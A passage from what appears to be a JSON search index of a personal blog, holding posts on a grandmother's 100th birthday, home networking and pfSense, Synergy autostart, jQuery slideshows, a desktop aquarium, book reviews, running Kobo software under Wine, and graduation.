Laurier\nNov 05 Calbraith Rodgers arrives in Pasadena completing first transcontinental airplane flight (49 days) (left Sheepshead Bay, NY, Sept 17) The flight lasted a whopping 82 hours, 4 minutes\nNov 12 - The birth of Rev. Chad Varah, Founder of the \u0026lsquo;Samaritans\u0026rsquo;\nDec 14 - Norwegian explorer Roald Amundsen and his expedition of four companions, are the first to reach the South Pole and return safely.\nDec 30 - Sun Yat-sen is elected as the first president of the Republic of China.\nBut the most memorable event took place on January 3rd when Georgina Mae Johnston was born – and the world was forever changed!\nTalk about some history or what!? Way to go Grandma Smith!\n","link":"https://dawning.ca/posts/happy-100th-birthday-grandma-smith/","section":"posts","tags":["calgary","alberta","canada","100th birthday","canadian","smith","georgina"],"title":"Happy 100th Birthday Grandma Smith!"},{"body":"","link":"https://dawning.ca/tags/smith/","section":"tags","tags":null,"title":"Smith"},{"body":" Exhibit A: Exhibit 2: Damn, seriously. Shaw Gigabit Fibre Internet doesn\u0026rsquo;t bother Transmitting Data, it TELEPORTS it!\nHere I sit in my bed @ my parent\u0026rsquo;s place on Christmas Eve. I decided to test out their new internet connection \u0026amp; router by enjoying another kind of \u0026ldquo;Eve\u0026rdquo;, Eve Online.\nThe Air is on fire, but in the good way About the same time as this new internet service was hooked up I randomly decided to upgrade my parents to use Wireless N (with a repeater rig, a la Airport Extreme \u0026amp; Airport Express).\nSo\u0026hellip; Back to me sitting here in bed. I thought I\u0026rsquo;d take this whole setup for a jog by downloading Eve Online. 3.0GB is a notably massive payload to download. On our old connection, I\u0026rsquo;d expect this to easily take all night to complete. Or about a month, if we were still on dial-up.\nWell, 3.0GB is apparently a joke for this connection, look at Exhibit A.\nZomg, WTF! wincopt3r! I knew they (my parents via Shaw) had \u0026ldquo;great\u0026rdquo; internet service.. But.. like\u0026hellip; Whoa\u0026hellip; 5.6MB/s? Err.. WTF?!!!! That\u0026rsquo;s like, soooo awesome! I guess I didn\u0026rsquo;t notice that Shaw\u0026rsquo;s testing out their new Gigabit internet service in my parent\u0026rsquo;s community. Frakin\u0026rsquo; rad and a half! If you read up on this service, apparently it\u0026rsquo;s on trial in very very few places (Basically nowhere at all).\nI passionately must thank Shaw and the Interweb gods for their generous trial of this wicked service in the community here!\nBy the way, 73.16Mb/s == 9.14MB/s == Faster than 802.11G and near the fundamental limit of 100Mb Ethernet.\nFootnote: Could be more \u0026lsquo;awesomer\u0026rsquo; I know I could add another dimension of \u0026lsquo;win\u0026rsquo; by also having been doing this on Ubuntu Linux (with the intention of running the game in wine), but I\u0026rsquo;m tired of tinkering with little configuration parameters when all I\u0026rsquo;m out to do is play a game. Hence my use of a \u0026lsquo;video game\u0026rsquo; OS for this screenshot.\nWhen I work, of course, THEN I\u0026rsquo;m running Ubuntu to the max.\n","link":"https://dawning.ca/posts/internet-explodingly-fast/","section":"posts","tags":null,"title":"The Air is on fire! Shaw Gigabit Fibre Internet FTW!"},{"body":"","link":"https://dawning.ca/tags/airplay/","section":"tags","tags":null,"title":"Airplay"},{"body":" Howdy all, geek-mode enabled.\nSo I\u0026rsquo;ve been fighting somewhat to get my AirPlay enabled device (Apple TV) to function perfectly. I use pfsense to run my router and in so doing I\u0026rsquo;ve got a Wireless and Wired network that are bridged together. I found with the AppleTV that only devices on the same physical media could stream to it, though all devices could \u0026ldquo;see\u0026rdquo; it.\nAfter submitting a feature request to Apple over this, I decided I wanted it solved for me anyway and I felt close to the solution. Since I had no logs to go by, I decided to bust out Wireshark to sniff all the involved network traffic. Suffice to say, I was rather entertained to find that when using AirPlay the payloads are flying around in IPv6, not IPv4. Just look at the caption in this post. All those teal packets is iTunes streaming audio to my AppleTV via AirPlay. It\u0026rsquo;s UDP over IPv6. Neato.\nThankfully, the fix after the IPv6 discovery was trivial, I merely had to permit IPv6 routing in pfsense, which I fully expected not to be in their GUI. Now, I may be a tad sad to not be currently ripping in to pf.conf, but I\u0026rsquo;m instead now learning all about how PulseAudio (via Linux) will play with AirPlay. How the universe is opening up.\nAnyway, I figured I\u0026rsquo;d post this to help any other people who may be running in this annoyance with their AirTunes device on their network. If your router doesn\u0026rsquo;t have a GUI that lets you permit IPv6 traffic, you may be SOL. This is an example of why I like something with some meat to it, like pfsense, to manage my routing.. Cheers!\n","link":"https://dawning.ca/posts/airplay-through-pfsense-bridge/","section":"posts","tags":["apple","sound","fix","airplay","atv","apple tv","router","pfsense","ipv4","ipv6","traffic","broken"],"title":"AirPlay Through pfsense Bridge"},{"body":"","link":"https://dawning.ca/tags/apple-tv/","section":"tags","tags":null,"title":"Apple Tv"},{"body":"","link":"https://dawning.ca/tags/atv/","section":"tags","tags":null,"title":"Atv"},{"body":"","link":"https://dawning.ca/tags/broken/","section":"tags","tags":null,"title":"Broken"},{"body":"","link":"https://dawning.ca/tags/ipv4/","section":"tags","tags":null,"title":"Ipv4"},{"body":"","link":"https://dawning.ca/tags/ipv6/","section":"tags","tags":null,"title":"Ipv6"},{"body":"","link":"https://dawning.ca/tags/router/","section":"tags","tags":null,"title":"Router"},{"body":"","link":"https://dawning.ca/tags/auto-start/","section":"tags","tags":null,"title":"Auto Start"},{"body":" Here you see the If you\u0026rsquo;re geeky like me, then you may be a lover of Synergy..\nWell, many of us have long since used some of the old funky tricks for getting Synergy to start up automatically (like the ol LoginWindow trick). But that seems to not be so helpful (for me anyway), as of upgrading to Apple\u0026rsquo;s Mac OSX Snow Leopard (10.5).\nHere\u0026rsquo;s what I did to get this going..\n\\t- Install Synergy of course. Get everything configured and ready to be rigged to automatically start.\n\\t- Move the \u0026ldquo;synergys\u0026rdquo; binary to somewhere (like /usr/bin/) but give it a name like \u0026ldquo;synergys-orig\u0026rdquo;\n\\t- Create a \u0026ldquo;synergys\u0026rdquo; bash script and put it in your root directory, the script should look similar to:\n#!/bin/bash /usr/bin/synergys-orig -c /etc/synergy/synergy.conf $1\n\\t- Note \u0026ldquo;/etc/synergy/synergy.conf\u0026rdquo; above is where my custom config script is located. Be sure if you\u0026rsquo;re running synergy server, to do something similar.\n\\t- Make your synergys script executable\nchmod +x synergys \\t- Open up System Preferences \u0026gt; Accounts \u0026gt; Login Items Add your /synergys script\n\\t- Reboot to confirm it\u0026rsquo;s all working.\nSo that\u0026rsquo;s what I did. Annoying that it seems I can\u0026rsquo;t get a bash script from any where other than / to show up in the Login Items options list.\nAnyway, happy synergizing!\n","link":"https://dawning.ca/posts/synergy-autostart-snow-leopard/","section":"posts","tags":["OSX","snow leopard","synergy","auto start"],"title":"Getting Synergy (or whatever) to run automatically in Snow Leopard"},{"body":"","link":"https://dawning.ca/tags/snow-leopard/","section":"tags","tags":null,"title":"Snow Leopard"},{"body":"","link":"https://dawning.ca/tags/synergy/","section":"tags","tags":null,"title":"Synergy"},{"body":"","link":"https://dawning.ca/tags/beautiful/","section":"tags","tags":null,"title":"Beautiful"},{"body":"","link":"https://dawning.ca/tags/box/","section":"tags","tags":null,"title":"Box"},{"body":"","link":"https://dawning.ca/tags/css/","section":"tags","tags":null,"title":"Css"},{"body":"","link":"https://dawning.ca/tags/cycle/","section":"tags","tags":null,"title":"Cycle"},{"body":"","link":"https://dawning.ca/tags/div/","section":"tags","tags":null,"title":"Div"},{"body":"","link":"https://dawning.ca/tags/fade/","section":"tags","tags":null,"title":"Fade"},{"body":"","link":"https://dawning.ca/tags/generic/","section":"tags","tags":null,"title":"Generic"},{"body":"","link":"https://dawning.ca/tags/html/","section":"tags","tags":null,"title":"Html"},{"body":"","link":"https://dawning.ca/tags/img/","section":"tags","tags":null,"title":"Img"},{"body":"","link":"https://dawning.ca/tags/jquery/","section":"tags","tags":null,"title":"Jquery"},{"body":"","link":"https://dawning.ca/tags/pretty/","section":"tags","tags":null,"title":"Pretty"},{"body":"I recently tossed up my little cycling badge of things I like (to the left) and in the process I had to do some CSS/jQuery \u0026ldquo;research\u0026rdquo;.\nI found THIS really helpful guide that nicely explained everything, but it wasn\u0026rsquo;t precisely what I wanted. I found that in using the code as given there, all the images would grossly load in a stack and images of different sizes would remain visible in the stack as they cycled. I also didn\u0026rsquo;t really like the idea of the fading animations being tied to the IMG tag, I wanted to use a more generic DIV container instead, after all I like writing code I can easily re-use later.\nRead beyond the break for the code..\nThe Code So, here\u0026rsquo;s the code I\u0026rsquo;ve come up with after fiddling around for a while. (Demo: Pretty Cycling Divs Example)\nSuffice to say I think that\u0026rsquo;s delicious and I expect to use that in a ton of places in to the future. I also opted to change the CSS ID name used for the whole thing as the one buddy picked on that example seemed so generic that a Wordpress plugin or some other code could come in to conflict, if only in the future. So I picked something a little more specific to my particular use case.\n","link":"https://dawning.ca/posts/pretty-cycling-divs/","section":"posts","tags":["css","html","jquery","div","img","slide","slideshow","transition","pretty","cycle","box","fade","beautiful","generic"],"title":"Pretty Cycling Images and URLs"},{"body":"","link":"https://dawning.ca/tags/slide/","section":"tags","tags":null,"title":"Slide"},{"body":"","link":"https://dawning.ca/tags/slideshow/","section":"tags","tags":null,"title":"Slideshow"},{"body":"","link":"https://dawning.ca/tags/transition/","section":"tags","tags":null,"title":"Transition"},{"body":" Check out some more photos here.\nDing, I just hit \u0026ldquo;level 27\u0026rdquo;.. Well, here we\u0026rsquo;ve yet another year past.\nYou know, when I was about 20, I decided that 25 would be an amazing year for me. I thought I\u0026rsquo;d be done school and would have torn in to some great work by then. As it turned out, 25 was a good year, but nothing like 26 has been.\nIt would seem 26 was the year (and then some), that I thought 25 would be. What an absolutely awesome year it has been. I finished my degrees, continued a rewarding \u0026amp; deep relationship (with a pet raptor), bought a(n ancient) house and made ridiculous head-way on my career plans. And to top it all off, I got to end the year of 26 in (muy hermoso) Cancun, Mexico.\nSuffice to say, the world has been so kind to me. Universe, from the bottom of my (robotic?) heart, I thank you.\n","link":"https://dawning.ca/posts/27th-birthday/","section":"posts","tags":["calgary","james snell","birthday","mexico","26","27","graduate","great","wonderful","thankful"],"title":"¡Mi cumpleaños número 27, en México hermoso!"},{"body":"","link":"https://dawning.ca/tags/26/","section":"tags","tags":null,"title":"26"},{"body":"","link":"https://dawning.ca/tags/birthday/","section":"tags","tags":null,"title":"Birthday"},{"body":"","link":"https://dawning.ca/tags/graduate/","section":"tags","tags":null,"title":"Graduate"},{"body":"","link":"https://dawning.ca/tags/great/","section":"tags","tags":null,"title":"Great"},{"body":"","link":"https://dawning.ca/tags/james-snell/","section":"tags","tags":null,"title":"James Snell"},{"body":"","link":"https://dawning.ca/tags/mexico/","section":"tags","tags":null,"title":"Mexico"},{"body":"","link":"https://dawning.ca/tags/thankful/","section":"tags","tags":null,"title":"Thankful"},{"body":"","link":"https://dawning.ca/tags/wonderful/","section":"tags","tags":null,"title":"Wonderful"},{"body":"Like various other Mac Pro users who\u0026rsquo;ve been spoiled by the PC universe, I\u0026rsquo;ve grown disinterested in paying Apple top dollar for a video card upgrade that produces a piece of hardware I can buy for a lot less from the local hardware store (with only a firmware distinction).\nAs such, I\u0026rsquo;ve endeavored to modify a PC card for use with my Mac Pro. Thanks to the amazing skills of one \u0026ldquo;netkas\u0026rdquo;, I was able to make some nice headway.\nSuffice to say, as it stands, I can use my Sapphire Radeon HD 5770 card in OSX on my Mac Pro. I can also use it with Windows \u0026amp; Linux, essentially breathing new life in to my machine, which in non-videocard regards is epic. /win\nFor a detailed post on what I\u0026rsquo;ve done thus far with this, go read here.\nDisclaimer YoBy the way, I wouldn\u0026rsquo;t recommend trying this unless you\u0026rsquo;re feeling pretty confident. It\u0026rsquo;d be pretty easy to wreck stuff doing this if you\u0026rsquo;re not paying close attention. You\u0026rsquo;ll also need a proprietary aux power cable or you\u0026rsquo;ll need to get an adapter to get that 6-pin video card power from a DVD drive. Else you won\u0026rsquo;t be able to power the video card properly.\n","link":"https://dawning.ca/posts/pc-video-card-mac-pro/","section":"posts","tags":null,"title":"Using a PC Video Card in a Mac Pro"},{"body":"","link":"https://dawning.ca/tags/alive/","section":"tags","tags":null,"title":"Alive"},{"body":"","link":"https://dawning.ca/tags/aquatic/","section":"tags","tags":null,"title":"Aquatic"},{"body":"","link":"https://dawning.ca/tags/betta/","section":"tags","tags":null,"title":"Betta"},{"body":"","link":"https://dawning.ca/tags/bottle/","section":"tags","tags":null,"title":"Bottle"},{"body":"","link":"https://dawning.ca/tags/computer/","section":"tags","tags":null,"title":"Computer"},{"body":"","link":"https://dawning.ca/tags/craft/","section":"tags","tags":null,"title":"Craft"},{"body":"","link":"https://dawning.ca/tags/desktop/","section":"tags","tags":null,"title":"Desktop"},{"body":"","link":"https://dawning.ca/tags/desktop-aquarium/","section":"tags","tags":null,"title":"Desktop Aquarium"},{"body":" This the little story a weekend project to add more of a soul to my computery-workspace at home. The result has really delighted me and I\u0026rsquo;m already well in to plotting out a similar project for my office. I\u0026rsquo;d suggest those who are considering such a project themselves should jump in to it!\nThe Story of the Desktop Aquarium Lately I\u0026rsquo;ve been itching to setup a Terrarium of sorts. I found this website and it got me fairly excited on a few levels. I ordered a bunch of Bonsai seeds (mostly Japanese Maple variants), but my short-term drive to set up a little world of life remained.\nAfter viewing all the neat and bizarre terrariums on that website I mentioned, I was starting to take notice of some of the glassware my \u0026ldquo;better half\u0026rdquo; occasionally hordes. A beautiful fat 4L jug/jar thing really caught my eye and away I went, on a relaxing tangent to get a funky desktop aqarium up and running.\nIn blog-geek style, I naturally took photos at various stages of the project. I had set out to have something full of life but also fairly self-sufficient. I therefore decided to have some aquatic plants before anything else. Then I thought, well, I may as well huck a fish in there too - afterall the fish should help provide CO2 to the plants and the plants can suppliment the O2 that a Betta (or similarly hardy fish) could just grab from the surface as needed. Anyway, I dumped about $40 in to plants, rocks, water treatment stuff, plant food and the fish itself. Seperately I added a grow light on a little timer thing to help the plants get the necessary rays.\nThis site also has some cute Terrarium tips..\nSo, how would you arrange your own desktop aquarium?\nSome Photos [flickr-gallery mode=\u0026ldquo;photoset\u0026rdquo; photoset=\u0026ldquo;72157624458578227\u0026rdquo;]\n","link":"https://dawning.ca/posts/desktop-aquarium/","section":"posts","tags":["computer","Life","desktop","desktop aquarium","fish","aquatic","alive","fun","craft","project","recycle","bottle","betta"],"title":"Desktop Aquarium Project"},{"body":"","link":"https://dawning.ca/tags/fish/","section":"tags","tags":null,"title":"Fish"},{"body":"","link":"https://dawning.ca/tags/fun/","section":"tags","tags":null,"title":"Fun"},{"body":"","link":"https://dawning.ca/tags/life/","section":"tags","tags":null,"title":"Life"},{"body":"","link":"https://dawning.ca/tags/recycle/","section":"tags","tags":null,"title":"Recycle"},{"body":"","link":"https://dawning.ca/categories/books/","section":"categories","tags":null,"title":"Books"},{"body":" Ender's Game by Orson Scott Card Upon my recent acquisition of a Kobo eReader, I\u0026rsquo;ve been recreationally reading quite a lot lately. Two books I recently finished reading were Ender\u0026rsquo;s Game and Pirates Latitudes. Both were entertaining in their own right.\nEnder\u0026rsquo;s Game Ender\u0026rsquo;s Game is a classic Sci-Fi novel that I\u0026rsquo;ve heard referred to on multiple occasions. It seems to be a classic favorite amongst the geek crowd. I had high expectations of it and upon reading it, found it to be reasonably predictable. THAT said, I really quite enjoyed it. I often found myself thinking: \u0026ldquo;I knew they\u0026rsquo;d do that! .. huh, that\u0026rsquo;s STILL awesome\u0026rdquo;.\nThe novel is written in the form that I think makes for a good story - that is, in being a sci-fi, the \u0026rsquo;technology\u0026rsquo; involved is only a plot device. The story is about people, perceptions and human nature. It\u0026rsquo;s a powerful commentary that I feel warrants at least a single read. I think I\u0026rsquo;ll find myself re-reading this book every few years.\nI give Ender\u0026rsquo;s Game it a strong 4.7/5.\nPirates Latitutes by Michael Crichton Pirate Latitudes Pirate Latitudes is basically a mature version of Pirates of the Caribbean, kind of. The topic of pirates doesn\u0026rsquo;t generally interest me and there were some graphic moments that were both entertaining and distasteful. I was delighted to emerge from the early chapters with a much better notion of how a real-world pirate ship of the 1600s could have actually come to exist. I found the book to be fairly tense, easy to read and overall what I\u0026rsquo;d expect from a novel about pirates.\nThere were many twists and I found this one not especially predictable. Some of Crichton\u0026rsquo;s directions with the tale left me a bit confused as to why a certain sub-story was there at all. Nevertheless, if you\u0026rsquo;re interested in a fairly adult look in to the mechanics and politics of old world privateering, give this novel some consideration.\nI give Pirate Latitudes a 3.7/5, perhaps a bit harsh as I\u0026rsquo;m not entirely keen regarding pirates in general.\n","link":"https://dawning.ca/posts/decent-fiction/","section":"posts","tags":["Kobo","ereader","review","ender's game","orson scott card","pirate latitudes","michael crichton","literacy","reading","opinion"],"title":"Decent Fiction"},{"body":"","link":"https://dawning.ca/tags/enders-game/","section":"tags","tags":null,"title":"Ender's Game"},{"body":"","link":"https://dawning.ca/tags/ereader/","section":"tags","tags":null,"title":"Ereader"},{"body":"","link":"https://dawning.ca/tags/kobo/","section":"tags","tags":null,"title":"Kobo"},{"body":"","link":"https://dawning.ca/tags/literacy/","section":"tags","tags":null,"title":"Literacy"},{"body":"","link":"https://dawning.ca/tags/michael-crichton/","section":"tags","tags":null,"title":"Michael Crichton"},{"body":"","link":"https://dawning.ca/tags/opinion/","section":"tags","tags":null,"title":"Opinion"},{"body":"","link":"https://dawning.ca/tags/orson-scott-card/","section":"tags","tags":null,"title":"Orson Scott Card"},{"body":"","link":"https://dawning.ca/tags/pirate-latitudes/","section":"tags","tags":null,"title":"Pirate Latitudes"},{"body":"","link":"https://dawning.ca/tags/reading/","section":"tags","tags":null,"title":"Reading"},{"body":"","link":"https://dawning.ca/tags/book/","section":"tags","tags":null,"title":"Book"},{"body":"","link":"https://dawning.ca/tags/get-smarter/","section":"tags","tags":null,"title":"Get Smarter"},{"body":" Upon graduating recently, I found the Engineering group had a special treat - a copy of Seymour Schulich\u0026rsquo;s \u0026ldquo;Get Smarter\u0026rdquo; was given to each grad. In an atypical move, I decided to read this non-textbook source of information.\nWorth Reading I quite enjoyed it, Schulich has arranged the book in to a ton of tiny chapters. In each, he quickly and effectively conveys an opinion or experience of his. If you\u0026rsquo;re not interested in something, it\u0026rsquo;s easy to skip on (granted I never did) and the rest of the book will still make sense. Given Schulich\u0026rsquo;s history, this is a man with some neat concepts to convey. He discusses a vast range of topics from his opinions about assessing career options to finding meaning in life.\nFor Who I think especially for the target age group (20-40), this book is a must read and since doing so takes a few hours, there\u0026rsquo;s every reason to have a gander. I\u0026rsquo;ve even recommended it to my 60-something year old father. It\u0026rsquo;s an interesting collection if topics and history.\nLook Closer Check it out here.\n","link":"https://dawning.ca/posts/get-smarter/","section":"posts","tags":["engineering","u of c","2010","review","Seymour Schulich","Get Smarter","Book","Life","Lessons"],"title":"Learn from Seymour \u0026 Get Smarter"},{"body":"","link":"https://dawning.ca/tags/lessons/","section":"tags","tags":null,"title":"Lessons"},{"body":"","link":"https://dawning.ca/tags/seymour-schulich/","section":"tags","tags":null,"title":"Seymour Schulich"},{"body":"","link":"https://dawning.ca/tags/u-of-c/","section":"tags","tags":null,"title":"U of C"},{"body":"","link":"https://dawning.ca/tags/compare/","section":"tags","tags":null,"title":"Compare"},{"body":"","link":"https://dawning.ca/tags/kindle/","section":"tags","tags":null,"title":"Kindle"},{"body":" I\u0026rsquo;ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..\nFor those who remain unaware of what an ereader is\u0026hellip; They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called E-Ink. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.\nDeciding against the Kindle and Nook In the moments since I got my Kobo the eReader world has changed. When I ordered it, it was about $100 less than the Nook or the Kindle. However, as the battle heats up, both of those competitors have been re-priced and thus I likely would have ordered a Nook if I could go back. HOWEVER.. I\u0026rsquo;m finding the insanely minimal approach of the Kobo to actually appear to be it\u0026rsquo;s winning feature. It\u0026rsquo;s damned thin and very light. The Sony ereader is the only other that sort of rivals it in this regard - I looked at that one in a store and noticed its screen was quite reflective and I kind of don\u0026rsquo;t enjoy burning my eyes out via glare.\nSo I suspect even with the new pricing, the Kobo is still worthy of MAJOR consideration. This is for those people who are interested in getting a device that does one thing especially well. The Kindle comes pretty close in this regard though, but it has more parts and complexity. Still, if you\u0026rsquo;re completely afraid of operating a computer to a basic level, you should probably just go with one of the others. I, like many of my generation, don\u0026rsquo;t even consider operation of a computer effort.. So whatever to that point for me.\nAcquiring the Kobo Right now the Kobo is an ultra-hot item in my area.. They\u0026rsquo;re hard to come by in the many stores the try to stalk them. So, I ordered directly online and it arrived in 7 days, far sooner than the order form told me to expect!\nGo here for some unboxing photos.\nRegarding Linux As a keen Linux user I really do prefer never to have to boot my machines in to a inferior Operating Environment. To this end, I invested some time getting the Kobo software to function in Linux. Kobo delightfully provides both a Windows and an OSX version of their software. There\u0026rsquo;s some mention of them having a Debian package and I applied to get access to that. But being inpatient, I decided to just try running the Windows build on top of Linux via Wine. The process required some trial and error and resulted in a mostly stable setup that\u0026rsquo;s totally working under Ubuntu 10.04.\nHere\u0026rsquo;s the steps I followed:\nAdded the Wine PPA thing to apt (http://www.winehq.org/download/deb) Installed \u0026ldquo;wine\u0026rdquo; and \u0026ldquo;winetricks\u0026rdquo;. \u0026ldquo;sudo apt-get install wine winetricks\u0026rdquo; should do it for ya.\nRan \u0026ldquo;winetricks\u0026rdquo; and added some stuff that the software seemed to need (read error messages from wine when trying to run it to try to figure out what was missing). I believe Dot Net 2.0 was required. I think the Visual C++ 2008 redistributable also helped. I think I have IE8 installed too, though I of course never use it, but that may be helping in the background (I hope not).\nRun the Kobo software installer thingy: \u0026ldquo;wine Setup.exe\u0026rdquo; (I don\u0026rsquo;t call the file name, may have been an MSI, I dunno, I used wine to install it though).\nIn my case, a short cut was dumped on my desktop to launch the Kobo software, you can use that to get the necessary command-line call to run it, then open a terminal, paste that in and review error messages for hints for if you need other stuff installed via winetricks.\nPlug in your Kobo to your computer if it\u0026rsquo;s not already (make sure your computer mounts it too, verify you can see the Kobo under Nautilus or some other file browser thingy).\nRun \u0026ldquo;winecfg\u0026rdquo;. I manually added my Kobo binary and then edited settings just for that, but you can just edit your global settings (by default) if you don\u0026rsquo;t use wine for other things like I do.\nClick the \u0026ldquo;Drives\u0026rdquo; tab, if you don\u0026rsquo;t have a letter mapped to your Kobo, add one. Mine\u0026rsquo;s under something like \u0026ldquo;/media/KoboReader\u0026rdquo; (which automatically set itself up \u0026ndash; on Ubuntu 10.04)\nSelect the entry for your Kobo \u0026lsquo;drive\u0026rsquo; and then click on \u0026ldquo;Show Advanced\u0026rdquo;. Change the type from \u0026ldquo;Autoscrewup\u0026rdquo; (more or less) to \u0026ldquo;Floppy Disk\u0026rdquo;. You might also want to set your Windows version to XP under the \u0026ldquo;Applications\u0026rdquo; tab, though that probably doesn\u0026rsquo;t matter, it\u0026rsquo;s what I did.\nLaunch the Kobo software via the link that was created on your desktop. Alternatively, my wine build also has a wine menu under \u0026ldquo;Applications\u0026rdquo; on my desktop that I could use to launch the Kobo software instead. If you have no such icons, it\u0026rsquo;s probably visible in the terminal via ~/.wine/drive_c/Program\\ Files/Kobo/Kobo.exe (give or take).\nAttempt to sync things up, if it hangs a lot of returns with a sync error, either try again or restart the application. I\u0026rsquo;ve had to semi-frequently do both, it\u0026rsquo;s a small price to pay next to having to actually run a blasphemous OS.\nSmile, cause you\u0026rsquo;re like.. Happy.. or somethin\u0026rsquo; now.\nOverall Feelings on the Kobo With the new pricing of the Kindle and the Nook, I\u0026rsquo;m less certain about my Kobo. I am however REALLY LOVING using it. It\u0026rsquo;s ultra thin and straight forward to use. I\u0026rsquo;ve caught myself on many occasions noticing only after much use that I\u0026rsquo;m not reading from a classical book - to me that\u0026rsquo;s exactly what one is going for. I love the ability to have an SD card with books on it. The relatively tiny 1GB of on board memory is still FAR FAR more space than I\u0026rsquo;m ever going to want for books on the go as having even that many books available on the device would be gruesome to navigate. More space could be handy for music or video - but as an ereader, this thing\u0026rsquo;s display isn\u0026rsquo;t capable of supporting video and there\u0026rsquo;s no sound output device (so more space may make better sense on a Nook for example - if you\u0026rsquo;re going to listen to music on that - for that, I have an MP3 player like anyone else who lives through the 2000s).\nThe Kobo still remains worthy of much consideration aside from the Nook and the Kindle, in that it does precisely what you\u0026rsquo;re buying it for very well. It doesn\u0026rsquo;t take a pragmatic approach and try to give you a universe of computing options (for that, use your phone or your laptop) on a platform that\u0026rsquo;s main function conflicts with that. Instead, it focuses on what you justified buying it for in the first place and to me, is how things should be designed.\nAfterthoughts As much as I love the Kobo\u0026rsquo;s philosophy as a consumer device, as a user, I like to hack stuff up. So I\u0026rsquo;m also hoping that the company will consider providing a little bit of help on getting users started towards writing their own applications (feel encouraged to add a comment to that post to0). The Nook\u0026rsquo;s use of Google Android (which I completely adore) puts it in sweet spot for that option and the Kindle already has some neat hacks for it. As for the Kobo, the first step towards hacking out some fun times can be enjoyed through this tear-down article.\nAs for devices like the ipad, the lack of e-ink disqualifies them for actual book reading in my view. ALSO, the iPad is hilariously heavy. You may be new to these kinds of devices and still have to waste money as I had to, in order to learn that holding a remotely heavy device in the same position for as long as I like to read in a sitting is a fast-track to joint problems. When more hardware vendors can get their hands on decent colour E-Ink with fast enough refresh rates to run video, such as that made by Pixel QI, then I think having multimedia pads like the ipad will become a prospect worthy of intense attention. For now, if you want an ereader, doing that job well is mutually exclusive to other functions.\nWhat do you think? Other people have other devices, what are your thoughts??\n","link":"https://dawning.ca/posts/kobo-ereader-unboxed-linux/","section":"posts","tags":["ubuntu","linux","kindle","nook","order","open","Kobo","ereader","unbox","wine","setup","used","compare","review"],"title":"Kobo - Unboxed \u0026 Linux Friendly"},{"body":"","link":"https://dawning.ca/tags/nook/","section":"tags","tags":null,"title":"Nook"},{"body":"","link":"https://dawning.ca/tags/open/","section":"tags","tags":null,"title":"Open"},{"body":"","link":"https://dawning.ca/tags/order/","section":"tags","tags":null,"title":"Order"},{"body":"","link":"https://dawning.ca/tags/unbox/","section":"tags","tags":null,"title":"Unbox"},{"body":"","link":"https://dawning.ca/tags/used/","section":"tags","tags":null,"title":"Used"},{"body":"","link":"https://dawning.ca/tags/wine/","section":"tags","tags":null,"title":"Wine"},{"body":" Well, for those that know, it\u0026rsquo;s been a damned long time in coming, but I have finally fully graduated as of June 7th and 8th 2010.\nThe tale of my 8 year tenor at the University of Calgary is somewhat of a unique animal, there was a lot of pain and a great deal of fun. As I look back after just completing that journey I am delighted to be through it and I\u0026rsquo;m keen to move on in to new areas of life. But I also know that these years were great and I\u0026rsquo;ll happily reflect upon them as I drift away from this phase.\nHow it Happened In short, only with the support and encouragement of others. I certainly had a lot of drive to do both of these myself, but without some key people pushing at key moments, I don\u0026rsquo;t think I would haven\u0026rsquo;t taken it as far and I doubt I would have got going when I did either.\nI started with Computer Science (feeling lucky to have been admitted at all from High School). I had wanted to apply to Engineering but decided I wouldn\u0026rsquo;t get in and thus I didn\u0026rsquo;t even try (by the way, always give things a chance). After LOVING Computer Science, by the end of my third year I found myself in a tough spot, I had done all the core courses, but still had to take a year\u0026rsquo;s worth of options. Back then I had recently joined the brand new Solar Car team and had been around quite a few Engineering students. This got me thinking that while I still figured I wouldn\u0026rsquo;t get in to Engineering, I could at least take some of their courses to satisfy my Computer Science requirements.\nHow it Went As I took more and more courses I found myself irritated that, for example, \u0026ldquo;Operating Systems\u0026rdquo; wasn\u0026rsquo;t nearly as hardcore as I hoped for. I often expected to emerge from a class with a vastly improved understanding of that subject matter. I often found that not to be the case. Of course there were some serious gems that I loved. I found it hilarious that my grades tended to be worst in \u0026ldquo;easy\u0026rdquo; courses and best in \u0026ldquo;sadistic\u0026rdquo; ones.\nHow it ended After many occasions of considering leaving and wishing it would move faster (while having no interesting in subjecting myself to a lifestyle demanding all my time was sitting in class or doing homework), I eventually settled in to a groove. I found that taking only 3 courses (some times 4) per semester allowed me enough extra time to work a little and do some of my own projects on the side. I needed that variety and that coupled with progressively thoughtful organization led to my ending the program sane, happy even with a GPA over a full grade point above my average of my earlier years.\nIf I could go back If I could go back I don\u0026rsquo;t know if I\u0026rsquo;d do it again, I think I would. Definitely the Computer Science.. But overall, it all was a ton of work, but a ton of fun and a ton of learning. Eight years is probably going to amount to around 9% of my life span, which is a lot, but in the end I had a pretty awesome time and of course did more than just school in that time. My parents had told me NOT to enter university right out of high school and I think that was sage advice, but I think I lucked out in that I probably would have taken the same stuff eventually anyway.\n\u0026hellip;. So\u0026hellip;. Now for a masters? I think so, but for now, I\u0026rsquo;m going to worry about paying off a mortgage first. :)\n","link":"https://dawning.ca/posts/grad/","section":"posts","tags":["graduation","university of calgary","u of c","computer science","computer engineering","2010"],"title":"8 Years, 2 Degrees, 1 Internship \u0026 0 Regrets"},{"body":"","link":"https://dawning.ca/tags/computer-engineering/","section":"tags","tags":null,"title":"Computer Engineering"},{"body":"","link":"https://dawning.ca/tags/computer-science/","section":"tags","tags":null,"title":"Computer Science"},{"body":"","link":"https://dawning.ca/tags/graduation/","section":"tags","tags":null,"title":"Graduation"},{"body":"","link":"https://dawning.ca/tags/university-of-calgary/","section":"tags","tags":null,"title":"University of Calgary"},{"body":"","link":"https://dawning.ca/tags/drinking/","section":"tags","tags":null,"title":"Drinking"},{"body":"","link":"https://dawning.ca/tags/erlenmeyer-flask/","section":"tags","tags":null,"title":"Erlenmeyer Flask"},{"body":" I\u0026rsquo;ve long since loathed the wide range of drinking vessels that I know react with my water. I\u0026rsquo;m already seriously irritated about the mandatory fluoridation of my drinking water. So I hardly like that drinking from a metal container tends to make my water taste metallic. Then there\u0026rsquo;s my instinctual concerns about anything plastic.\nThis led me to glass. However, I remained unconvinced that typical glass products are plain nonreactive glass.. Thus, I decided upon chemistry glasswares. From there, I decided to run with an Erlenmeyer Flask as 